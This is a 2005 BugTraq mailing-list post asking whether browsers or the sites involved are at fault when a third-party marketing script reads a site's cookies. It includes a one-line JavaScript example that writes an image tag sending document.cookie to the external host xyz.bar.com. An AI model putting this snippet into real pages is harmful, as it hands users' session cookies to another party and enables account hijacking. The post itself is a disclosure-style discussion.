BugTraq
cross-domain cookie theft: who's to blame? May 13 2005 12:06AM
Tim Tompkins (timt spiderlinks org)
Before disclosing the specifics, I'm just wondering wherein the fault lies:

I visited a site, say abc.foo.com that loaded javascript from an
external (marketing statistics) site, say xyz.bar.com. The script from
xyz.bar.com read the cookies set by abc.foo.com and posted them in a
subsequent image tag as part of the query string. Essentially,
xyz.bar.com now has all of my abc.foo.com cookies and could potentially
hijack any cookie-based sessions I had going.

Is this a browser problem, allowing cross-domain scripts to read each
other's cookies, or is this just blatant abuse by abc.foo.com and/or
xyz.bar.com?

Example from abc.foo.com
<html>
<head>
<script language="javascript" src="http://xyz.bar.com/somescript.js">
</head>
[ ... ]
</html>

Example of xyz.bar.com/somescript.js:

document.write('<img src="http://xyz.bar.com/img.gif?cookie=' +
escape(document.cookie) + '">');

Regards,
Tim Tompkins

[ reply ]


 

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